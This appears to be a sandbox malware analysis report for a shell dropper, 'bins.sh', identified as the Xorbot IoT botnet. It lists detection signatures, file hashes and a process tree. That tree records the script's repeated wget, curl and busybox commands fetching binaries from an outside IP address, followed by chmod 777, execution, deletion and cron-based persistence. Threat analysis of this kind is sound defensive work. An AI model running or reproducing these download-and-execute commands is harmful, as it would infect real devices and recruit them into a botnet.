Analysis

  • max time kernel
    123s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-02-2025 06:48

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7bc4d2d70fe6726398431deca348497e

  • SHA1

    e106dd3211d5c766f4ae2f25d2f3ffd07cca79c2

  • SHA256

    2bf391480c2e406945bf0aa07cdde081148e0487221056372c0cc2856951839e

  • SHA512

    a1febdd6e74433718dd521e2f1d493303d948355a16d40af2fa364d51bc9d051219cd9b5ad665a5c9bf8e17a1ada4b7f0201ff4c29f4f63597da6e9ba260a124

  • SSDEEP

    192:HEvOHWwQ/6GsAQSa/wkaWT1frfAWm3FwQ/6GbSa/wkw:H+OHWwQ/6GsAQSa/wkZ1frfG1wQ/6Gbs

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1467) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:704
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:707
      • /usr/bin/wget
        wget http://37.44.238.88/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • Writes file to tmp directory
        PID:710
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • Writes file to tmp directory
        PID:726
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • Writes file to tmp directory
        PID:733
      • /bin/chmod
        chmod 777 ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        ./ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
          PID:736
        • /bin/rm
          rm ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://37.44.238.88/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            ./FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
              PID:743
            • /bin/rm
              rm FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://37.44.238.88/bins/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • Writes file to tmp directory
                PID:747
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • Writes file to tmp directory
                PID:748
              • /bin/chmod
                chmod 777 OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • File and Directory Permissions Modification
                PID:749
              • /tmp/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                ./OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                  PID:750
                • /bin/rm
                  rm OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                  2⤵
                    PID:752
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • Writes file to tmp directory
                    PID:753
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • Writes file to tmp directory
                    PID:758
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • Writes file to tmp directory
                    PID:765
                  • /bin/chmod
                    chmod 777 7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • File and Directory Permissions Modification
                    PID:769
                  • /tmp/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    ./7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                      PID:770
                    • /bin/rm
                      rm 7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                      2⤵
                        PID:773
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • Writes file to tmp directory
                        PID:775
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • Writes file to tmp directory
                        PID:782
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • Writes file to tmp directory
                        PID:792
                      • /bin/chmod
                        chmod 777 VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • File and Directory Permissions Modification
                        PID:796
                      • /tmp/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        ./VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                          PID:797
                        • /bin/rm
                          rm VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                          2⤵
                            PID:802
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • Writes file to tmp directory
                            PID:803
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:812
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • Writes file to tmp directory
                            PID:814
                          • /bin/chmod
                            chmod 777 l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • File and Directory Permissions Modification
                            PID:815
                          • /tmp/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            ./l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                              PID:816
                            • /bin/rm
                              rm l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                              2⤵
                                PID:818
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • Writes file to tmp directory
                                PID:819
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • Writes file to tmp directory
                                PID:820
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • Writes file to tmp directory
                                PID:821
                              • /bin/chmod
                                chmod 777 YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:822
                              • /tmp/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                ./YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                  PID:823
                                • /bin/rm
                                  rm YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                  2⤵
                                    PID:825
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:826
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:827
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:833
                                  • /bin/chmod
                                    chmod 777 PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:838
                                  • /tmp/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    ./PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:839
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:841
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:842
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:845
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:846
                                        • /bin/rm
                                          rm PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                          2⤵
                                            PID:856
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                            2⤵
                                              PID:860
                                            • /usr/bin/curl
                                              curl -O http://37.44.238.88/bins/qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                              2⤵
                                                PID:942
                                              • /bin/busybox
                                                /bin/busybox wget http://37.44.238.88/bins/qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:945
                                              • /bin/chmod
                                                chmod 777 qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:958
                                              • /tmp/qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                                ./qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                                2⤵
                                                  PID:959
                                                • /bin/rm
                                                  rm qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                                  2⤵
                                                    PID:962
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.88/bins/kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                    2⤵
                                                      PID:964
                                                    • /usr/bin/curl
                                                      curl -O http://37.44.238.88/bins/kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                      2⤵
                                                        PID:967
                                                      • /bin/busybox
                                                        /bin/busybox wget http://37.44.238.88/bins/kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:972
                                                      • /bin/chmod
                                                        chmod 777 kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:975
                                                      • /tmp/kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                        ./kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                        2⤵
                                                          PID:976
                                                        • /bin/rm
                                                          rm kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW
                                                          2⤵
                                                            PID:978
                                                          • /usr/bin/wget
                                                            wget http://37.44.238.88/bins/mSUp6IMa6cFAtR0Atnw6O7jl6OEgOGHlCD
                                                            2⤵
                                                              PID:979
                                                            • /usr/bin/curl
                                                              curl -O http://37.44.238.88/bins/mSUp6IMa6cFAtR0Atnw6O7jl6OEgOGHlCD
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:981

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO

                                                            Filesize

                                                            117KB

                                                            MD5

                                                            849fa04ef88a8e8de32cb2e8538de5fe

                                                            SHA1

                                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                            SHA256

                                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                            SHA512

                                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                          • /tmp/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf

                                                            Filesize

                                                            127KB

                                                            MD5

                                                            89077b7bd4bcafca7713be43635c4862

                                                            SHA1

                                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                                            SHA256

                                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                            SHA512

                                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                          • /tmp/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            ca897a38f23ec23521ce0b1b83f8422d

                                                            SHA1

                                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                            SHA256

                                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                            SHA512

                                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                          • /tmp/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            6c583043d91c55aa470c08c87058e917

                                                            SHA1

                                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                                            SHA256

                                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                            SHA512

                                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                          • /tmp/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA

                                                            Filesize

                                                            177KB

                                                            MD5

                                                            786d75a158fe731feca3880f436082c0

                                                            SHA1

                                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                            SHA256

                                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                            SHA512

                                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                          • /tmp/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                            SHA1

                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                            SHA256

                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                            SHA512

                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                          • /tmp/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /tmp/kw1cPweGBidzSQcusLUsUNNugLYi3QnmFW

                                                            Filesize

                                                            98KB

                                                            MD5

                                                            5141342d0df8699fa32a6b066a0c592e

                                                            SHA1

                                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                            SHA256

                                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                            SHA512

                                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                          • /tmp/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1

                                                            Filesize

                                                            119KB

                                                            MD5

                                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                                            SHA1

                                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                            SHA256

                                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                            SHA512

                                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                          • /tmp/qTmpw99volYZcBibG5fiUBD70hBNTPxs9m

                                                            Filesize

                                                            112KB

                                                            MD5

                                                            05d7857dcead18bbd86d2935f591873c

                                                            SHA1

                                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                            SHA256

                                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                            SHA512

                                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                          • /var/spool/cron/crontabs/tmp.yKiMVE

                                                            Filesize

                                                            210B

                                                            MD5

                                                            2699376491630f63891d55735a6f6391

                                                            SHA1

                                                            d5b6156fc0163fd5acfc03d668ba982e7e864a03

                                                            SHA256

                                                            8049c6b13b3bea5d75560881ee008438bd45ab043afd8c039100f93bd8f00687

                                                            SHA512

                                                            de5c35cfac70581d94d14440b61445e308acc0598e7e876f8fd97e0f97419cb27e2da2362e6cc0ceded55e9e125d064f5610f66b558c3584d2d70e8dd50c72e5